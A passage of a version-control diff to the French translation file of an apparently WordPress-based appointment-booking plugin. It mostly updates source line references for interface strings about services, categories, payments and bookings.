includes\u002Fdivi\u002Fmodules\u002FEmployeeSocialNetworksModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:25\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeSocialNetworksShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13481\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13482\n msgid \"Employee Social Networks\"\n msgstr \"Réseaux sociaux des employés\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeTitleModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:25\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeTitleShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12866\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12867\n msgid \"Employee Title\"\n msgstr \"Titre de l'employé\"\n \n@@ -2026,7 +2016,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:25\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:29\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11963\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11964\n msgid \"Locations List\"\n msgstr \"Liste des emplacements\"\n \n@@ -2048,9 +2038,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:72\n #: includes\u002Fpost-types\u002FLocationPostType.php:124\n #: includes\u002Fpost-types\u002FServicePostType.php:164\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11837\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12123\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12482\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11838\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12124\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12483\n msgid \"Categories\"\n msgstr \"Catégories\"\n \n@@ -2066,9 +2056,9 @@\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:61\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:64\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:86\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11838\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12124\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12483\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11839\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12125\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12484\n msgid \"Comma-separated slugs or IDs of categories that will be shown.\"\n msgstr \"Slugs séparés par des virgules ou identifiants de catégories qui seront affichés.\"\n \n@@ -2078,26 +2068,26 @@\n #: includes\u002Fpost-types\u002FServicePostType.php:149\n #: includes\u002Fpost-types\u002FServicePostType.php:252\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:31\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12272\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12273\n msgid \"Service Categories\"\n msgstr \"Catégories de services\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:37\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:53\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12098\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12099\n msgid \"Show Services Count?\"\n msgstr \"Afficher le nombre de services ?\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:47\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:63\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12106\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12107\n msgid \"Show Description?\"\n msgstr \"Afficher la description ?\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:73\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12114\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12115\n msgid \"Parent\"\n msgstr \"Parent\"\n \n@@ -2105,14 +2095,14 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:76\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:57\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:58\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12115\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12116\n msgid \"Parent term slug or ID to retrieve direct-child terms from.\"\n msgstr \"Slug ou ID de terme parent à partir duquel récupérer les termes enfants directs.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:69\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:93\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:68\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12132\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12133\n msgid \"Exclude Categories\"\n msgstr \"Exclure les catégories\"\n \n@@ -2120,21 +2110,21 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:96\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:69\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:69\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12133\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12134\n msgid \"Comma-separated slugs or IDs of categories that will not be shown.\"\n msgstr \"Slugs séparés par des virgules ou identifiants de catégories qui ne seront pas affichés.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:75\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:103\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:74\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12141\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12142\n msgid \"Hide Empty\"\n msgstr \"Occulter le vide\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:85\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:114\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:80\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12150\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12151\n msgid \"Depth\"\n msgstr \"Profondeur\"\n \n@@ -2142,14 +2132,14 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:115\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:81\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:79\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12151\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12152\n msgid \"Display depth of child categories.\"\n msgstr \"Afficher la profondeur des catégories enfants.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:97\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:127\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:88\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12160\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12161\n msgid \"Number\"\n msgstr \"Numéro \"\n \n@@ -2157,56 +2147,56 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:128\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:89\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:24\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12161\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12162\n msgid \"Maximum number of categories to show.\"\n msgstr \"Nombre maximum de catégories à afficher.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:126\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:158\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12190\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12191\n msgid \"Term name\"\n msgstr \"Nom du terme\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:127\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:159\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:42\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12193\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12194\n msgid \"Term slug\"\n msgstr \"Slug du terme\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:128\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:160\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12196\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12197\n msgid \"Term ID\"\n msgstr \"Identifiant du terme\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:129\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:161\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12199\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12200\n msgid \"Parent ID\"\n msgstr \"numéro du parent\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:130\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:162\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:45\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12202\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12203\n msgid \"Number of associated objects\"\n msgstr \"Nombre d'objets associés\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:131\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:163\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12205\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12206\n msgid \"Keep the order of \\\"IDs\\\" parameter\"\n msgstr \"Conserver l'ordre du paramètre \\\"ID\\\"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:132\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:164\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:47\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12208\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12209\n msgid \"Term order\"\n msgstr \"Ordre des conditions\"\n \n@@ -2214,35 +2204,35 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:24\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:29\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12620\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12621\n msgid \"Services List\"\n msgstr \"Liste des services\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:73\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12432\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12433\n msgid \"Show service price.\"\n msgstr \"Afficher le prix du service.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:67\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:83\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:61\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12440\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12441\n msgid \"Show service duration.\"\n msgstr \"Afficher la durée du service.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:77\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:93\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:66\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12448\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12449\n msgid \"Show service capacity.\"\n msgstr \"Afficher la capacité du service.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:87\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:103\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:71\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12456\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12457\n msgid \"Show service employees.\"\n msgstr \"Afficher les employés du service.\"\n \n@@ -2250,7 +2240,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:116\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:61\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:76\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12465\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12466\n msgid \"Comma-separated slugs or IDs of services that will be shown.\"\n msgstr \"Slugs séparés par des virgules ou identifiants de services qui seront affichés.\"\n \n@@ -2258,7 +2248,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:126\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:67\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:81\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12474\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12475\n msgid \"Comma-separated slugs or IDs of employees that perform these services.\"\n msgstr \"Slugs séparés par des virgules ou identifiants des employés qui prestent ces services.\"\n \n@@ -2266,7 +2256,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:143\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:78\n #: includes\u002Fpost-types\u002FServicePostType.php:210\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12491\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12492\n msgid \"Tags\"\n msgstr \"Étiquettes\"\n \n@@ -2365,7 +2355,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:105\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:75\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:74\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12142\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12143\n msgid \"Hide terms not assigned to any posts.\"\n msgstr \"Occulter les termes non assignés à aucune publication.\"\n \n@@ -2623,10 +2613,10 @@\n #: includes\u002Femails\u002Ftags\u002Fbooking\u002FBookingLeftToPayTag.php:19\n #: templates\u002Femails\u002Fadmin\u002Fadmin-approved-booking-email.php:29\n #: templates\u002Femails\u002Fcustomer\u002Fcustomer-approved-payment-email.php:24\n-#: assets\u002Fjs\u002Fdivi-modules.js:6018\n-#: assets\u002Fjs\u002Felementor-widgets.js:6018\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6457\n-#: assets\u002Fjs\u002Fpublic.js:6018\n+#: assets\u002Fjs\u002Fdivi-modules.js:6019\n+#: assets\u002Fjs\u002Felementor-widgets.js:6019\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6458\n+#: assets\u002Fjs\u002Fpublic.js:6019\n msgid \"Left to pay\"\n msgstr \"Reste à payer\"\n \n@@ -2846,11 +2836,11 @@\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:48\n #: templates\u002Fshortcodes\u002Ftemplate-parts\u002Fbooking-details.php:51\n #: assets\u002Fjs\u002Fcalendar-page.js:38070\n-#: assets\u002Fjs\u002Fdivi-modules.js:2858\n-#: assets\u002Fjs\u002Fedit-post.js:4314\n-#: assets\u002Fjs\u002Felementor-widgets.js:2858\n+#: assets\u002Fjs\u002Fdivi-modules.js:2859\n+#: assets\u002Fjs\u002Fedit-post.js:4315\n+#: assets\u002Fjs\u002Felementor-widgets.js:2859\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:431\n-#: assets\u002Fjs\u002Fpublic.js:2858\n+#: assets\u002Fjs\u002Fpublic.js:2859\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:300\n msgid \"Clients\"\n msgstr \"Clients\"\n@@ -2912,13 +2902,13 @@\n #: includes\u002Ffields\u002Fcomplex\u002FTimetableField.php:313\n #: includes\u002Fstructures\u002FTimePeriod.php:294\n #: assets\u002Fjs\u002Fcalendar-page.js:38145\n-#: assets\u002Fjs\u002Fdivi-modules.js:3569\n+#: assets\u002Fjs\u002Fdivi-modules.js:3570\n #: assets\u002Fjs\u002Fedit-post.js:2101\n-#: assets\u002Fjs\u002Fedit-post.js:4846\n-#: assets\u002Fjs\u002Fedit-post.js:8800\n-#: assets\u002Fjs\u002Felementor-widgets.js:3569\n+#: assets\u002Fjs\u002Fedit-post.js:4847\n+#: assets\u002Fjs\u002Fedit-post.js:8801\n+#: assets\u002Fjs\u002Felementor-widgets.js:3570\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:1855\n-#: assets\u002Fjs\u002Fpublic.js:3569\n+#: assets\u002Fjs\u002Fpublic.js:3570\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:1620\n msgid \"All day\"\n msgstr \"Toute la journée\"\n@@ -2927,12 +2917,12 @@\n #: includes\u002Ffields\u002Fcomplex\u002FDaysOffField.php:100\n #: templates\u002Fshortcodes\u002Fbooking\u002Fcart\u002Fadmin-cart-item.php:113\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:72\n-#: assets\u002Fjs\u002Fdivi-modules.js:5975\n+#: assets\u002Fjs\u002Fdivi-modules.js:5976\n #: assets\u002Fjs\u002Fedit-post.js:2051\n #: assets\u002Fjs\u002Fedit-post.js:2283\n-#: assets\u002Fjs\u002Felementor-widgets.js:5975\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6414\n-#: assets\u002Fjs\u002Fpublic.js:5975\n+#: assets\u002Fjs\u002Felementor-widgets.js:5976\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6415\n+#: assets\u002Fjs\u002Fpublic.js:5976\n msgid \"Remove\"\n msgstr \"Supprimer\"\n \n@@ -3039,7 +3029,7 @@\n \n #. Translators: %s: Location name, like \"Barbershop\".\n #: includes\u002Ffields\u002Fcomplex\u002FTimetableField.php:241\n-#: assets\u002Fjs\u002Fedit-post.js:8815\n+#: assets\u002Fjs\u002Fedit-post.js:8816\n #, php-format,js-format\n msgctxt \"Working at %s\"\n msgid \"at %s\"\n@@ -3344,11 +3334,11 @@\n \n #: includes\u002Fhelpers\u002FPriceCalculationHelper.php:50\n #: includes\u002Fhelpers\u002FPriceCalculationHelper.php:122\n-#: assets\u002Fjs\u002Fdivi-modules.js:6056\n+#: assets\u002Fjs\u002Fdivi-modules.js:6057\n #: assets\u002Fjs\u002Fedit-post.js:1602\n-#: assets\u002Fjs\u002Felementor-widgets.js:6056\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6495\n-#: assets\u002Fjs\u002Fpublic.js:6056\n+#: assets\u002Fjs\u002Felementor-widgets.js:6057\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6496\n+#: assets\u002Fjs\u002Fpublic.js:6057\n msgctxt \"Zero price\"\n msgid \"Free\"\n msgstr \"Disponible\"\n@@ -3433,33 +3423,33 @@\n msgid \"You can add a new log message here and press Update to save it\"\n msgstr \"Vous pouvez ajouter un nouveau message de log ici puis appuyer sur \\\"Mettre à jour\\\" pour l'enregistrer\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:49\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:50\n #: includes\u002Fpost-types\u002FCouponPostType.php:60\n #: templates\u002Fshortcodes\u002Fbooking\u002Fsections\u002Fcoupon-section.php:14\n msgid \"Coupon\"\n msgstr \"Coupon\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:55\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:56\n msgid \"Reserved Services\"\n msgstr \"Services réservés\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:59\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:60\n #: includes\u002Fmetaboxes\u002Fpayment\u002FPaymentDetailsMetabox.php:38\n msgid \"Payment Details\"\n msgstr \"Détails de paiement\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:65\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:66\n msgid \"Booking Price\"\n msgstr \"Montant de la réservation\"\n \n #. Translators: %d: Booking ID.\n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:141\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:142\n #: includes\u002Frepositories\u002FBookingRepository.php:113\n #, php-format\n msgid \"Booking #%d\"\n msgstr \"Réservation #%d\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:186\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:187\n #: includes\u002Frest\u002Fcontrollers\u002Fmotopress\u002Fappointment\u002Fv1\u002FBookingsRestController.php:144\n #: includes\u002Frest\u002Fcontrollers\u002Fmotopress\u002Fappointment\u002Fv1\u002FBookingsRestController.php:295\n msgid \"Sorry, the selected time slot is already booked.\"\n@@ -4035,38 +4025,38 @@\n msgid \"Pay with your credit card via Stripe. Use the card number 4242424242424242 with CVC 123, a valid expiration date and random 5-digit ZIP-code to test a payment.\"\n msgstr \"Payez avec votre carte de crédit via Stripe. Utilisez le numéro de carte 424242424242424242 avec le CVC 123, une date d'expiration valide et un code postal aléatoire à 5 chiffres pour effectuer un test de paiement.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8384\n-#: assets\u002Fjs\u002Felementor-widgets.js:8384\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8823\n-#: assets\u002Fjs\u002Fpublic.js:8384\n+#: assets\u002Fjs\u002Fdivi-modules.js:8385\n+#: assets\u002Fjs\u002Felementor-widgets.js:8385\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8824\n+#: assets\u002Fjs\u002Fpublic.js:8385\n msgid \"Bancontact\"\n msgstr \"Bancontact\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8411\n-#: assets\u002Fjs\u002Felementor-widgets.js:8411\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8850\n-#: assets\u002Fjs\u002Fpublic.js:8411\n+#: assets\u002Fjs\u002Fdivi-modules.js:8412\n+#: assets\u002Fjs\u002Felementor-widgets.js:8412\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8851\n+#: assets\u002Fjs\u002Fpublic.js:8412\n msgid \"iDEAL\"\n msgstr \"iDEAL\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8449\n-#: assets\u002Fjs\u002Felementor-widgets.js:8449\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8888\n-#: assets\u002Fjs\u002Fpublic.js:8449\n+#: assets\u002Fjs\u002Fdivi-modules.js:8450\n+#: assets\u002Fjs\u002Felementor-widgets.js:8450\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8889\n+#: assets\u002Fjs\u002Fpublic.js:8450\n msgid \"Giropay\"\n msgstr \"Giropay\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8349\n-#: assets\u002Fjs\u002Felementor-widgets.js:8349\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8788\n-#: assets\u002Fjs\u002Fpublic.js:8349\n+#: assets\u002Fjs\u002Fdivi-modules.js:8350\n+#: assets\u002Fjs\u002Felementor-widgets.js:8350\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8789\n+#: assets\u002Fjs\u002Fpublic.js:8350\n msgid \"SEPA Direct Debit\"\n msgstr \"Prélèvement SEPA\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8476\n-#: assets\u002Fjs\u002Felementor-widgets.js:8476\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8915\n-#: assets\u002Fjs\u002Fpublic.js:8476\n+#: assets\u002Fjs\u002Fdivi-modules.js:8477\n+#: assets\u002Fjs\u002Felementor-widgets.js:8477\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8916\n+#: assets\u002Fjs\u002Fpublic.js:8477\n msgid \"SOFORT\"\n msgstr \"SOFORT\"\n \n@@ -5513,10 +5503,10 @@\n msgstr \"Modifier les réservations\"\n \n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-booking.php:24\n-#: assets\u002Fjs\u002Fdivi-modules.js:5645\n-#: assets\u002Fjs\u002Felementor-widgets.js:5645\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6084\n-#: assets\u002Fjs\u002Fpublic.js:5645\n+#: assets\u002Fjs\u002Fdivi-modules.js:5646\n+#: assets\u002Fjs\u002Felementor-widgets.js:5646\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6085\n+#: assets\u002Fjs\u002Fpublic.js:5646\n msgid \"Making a reservation...\"\n msgstr \"Faire une réservation...\"\n \n@@ -6229,168 +6219,168 @@\n msgstr \"Décembre\"\n \n #: assets\u002Fjs\u002Fcustomers-page.js:497\n-#: assets\u002Fjs\u002Fdivi-modules.js:6650\n+#: assets\u002Fjs\u002Fdivi-modules.js:6651\n #: assets\u002Fjs\u002Fedit-post.js:1100\n-#: assets\u002Fjs\u002Felementor-widgets.js:6650\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:7089\n-#: assets\u002Fjs\u002Fpublic.js:6650\n+#: assets\u002Fjs\u002Felementor-widgets.js:6651\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:7090\n+#: assets\u002Fjs\u002Fpublic.js:6651\n #: assets\u002Fjs\u002Fsettings-page.js:685\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2911\n msgid \"Phone number is invalid.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5749\n-#: assets\u002Fjs\u002Fdivi-modules.js:7633\n-#: assets\u002Fjs\u002Felementor-widgets.js:5749\n-#: assets\u002Fjs\u002Felementor-widgets.js:7633\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6188\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8072\n-#: assets\u002Fjs\u002Fpublic.js:5749\n-#: assets\u002Fjs\u002Fpublic.js:7633\n+#: assets\u002Fjs\u002Fdivi-modules.js:5750\n+#: assets\u002Fjs\u002Fdivi-modules.js:7634\n+#: assets\u002Fjs\u002Felementor-widgets.js:5750\n+#: assets\u002Fjs\u002Felementor-widgets.js:7634\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6189\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8073\n+#: assets\u002Fjs\u002Fpublic.js:5750\n+#: assets\u002Fjs\u002Fpublic.js:7634\n msgid \"You will be redirected to a secure page to complete the payment.\"\n msgstr \"Vous allez être redirigé vers une page sécurisée pour terminer le paiement.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5960\n-#: assets\u002Fjs\u002Felementor-widgets.js:5960\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6399\n-#: assets\u002Fjs\u002Fpublic.js:5960\n+#: assets\u002Fjs\u002Fdivi-modules.js:5961\n+#: assets\u002Fjs\u002Felementor-widgets.js:5961\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6400\n+#: assets\u002Fjs\u002Fpublic.js:5961\n msgid \"Subtotal\"\n msgstr \"Sous-total\"\n \n #. Translators: %s: Coupon code.\n-#: assets\u002Fjs\u002Fdivi-modules.js:5970\n-#: assets\u002Fjs\u002Felementor-widgets.js:5970\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6409\n-#: assets\u002Fjs\u002Fpublic.js:5970\n+#: assets\u002Fjs\u002Fdivi-modules.js:5971\n+#: assets\u002Fjs\u002Felementor-widgets.js:5971\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6410\n+#: assets\u002Fjs\u002Fpublic.js:5971\n #, js-format\n msgid \"Coupon: %s\"\n msgstr \"Coupon : %s\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5982\n-#: assets\u002Fjs\u002Fdivi-modules.js:8135\n-#: assets\u002Fjs\u002Fdivi-modules.js:8650\n-#: 